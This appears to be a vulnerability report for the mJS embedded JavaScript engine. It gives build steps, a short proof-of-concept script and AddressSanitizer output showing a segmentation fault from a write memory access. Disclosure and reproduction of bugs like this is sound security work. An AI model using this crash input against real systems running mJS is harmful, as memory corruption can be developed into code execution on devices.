vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
```javascript
function JSEtest(b) {
(gc(typeof (gc(typeof this)==="undefined"))==="undefined");
if (b < '#"$$abcdabcd"'.indexOf(gc --(typeof (gc(typeof this)==="undefined"))==="undefined"))
JSEtest(b+'#1"$$abcdabcd"'.indexOf("$$abcdabcd"));
}
JSEtest(0);
```
Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==95067==ERROR: AddressSanitizer: SEGV on unknown address 0x55cbea3db63c (pc 0x55cbea3db6af bp 0x0000000000b5 sp 0x7ffc46f4e118 T0)
==95067==The signal is caused by a WRITE memory access.
#0 0x55cbea3db6ae (/usr/local/bin/mjs+0x2c6ae)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c6ae)
==95067==ABORTING
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
poc.js
Execution steps & Output